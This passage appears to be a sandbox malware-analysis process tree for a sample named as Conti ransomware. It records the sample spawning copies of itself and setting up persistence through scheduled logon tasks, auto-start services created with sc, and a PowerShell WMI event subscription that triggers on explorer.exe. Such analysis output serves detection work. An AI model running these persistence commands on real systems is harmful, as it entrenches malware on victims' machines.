        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:3460
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:2060
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:2672
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:6292
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:6352
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:6788
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:6944
        
        C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        7⤵
        
        PID:6856
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:6416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        7⤵
        
        PID:7024
      - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        6⤵
        
        PID:7140
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:11412
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        8⤵
        
        PID:3500
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        7⤵
        
        PID:13444
        
        C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        8⤵
        
        PID:19084
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        7⤵
        
        PID:20284
      - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        6⤵
        
        PID:6888
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:13300
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        8⤵
        
        PID:2728
      - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        6⤵
        
        PID:17928
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:18204
      - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        6⤵
        
        PID:10544
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:7680
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:7748
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:8868
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:8312
        
        C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        7⤵
        
        PID:9800
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:9056
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6412
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:5280
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:9880
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:10660
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:10932
        
        C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        7⤵
        
        PID:9976
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:10984
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10628
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:11752
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:11848
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12872
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:13808
        
        C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        7⤵
        Launches sc.exe
        
        PID:15172
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:12252
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        7⤵
        
        PID:17296
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:11528
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:8848
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:1844
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:15856
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:16060
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:13128
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:12036
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:18692
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:1612
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:4328
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:880
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:6060
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:564
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:4844
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:880
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:11420
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:11556
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12164
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:12800
        
        C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        7⤵
        
        PID:4492
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:14712
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        7⤵
        
        PID:10584
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:13900
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:14036
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:15260
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:9664
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:5816
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:15448
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:17904
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:11008
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:11580
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:19112
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:8108
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:8176
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:8140
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:7448
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:7864
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:7556
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:8756
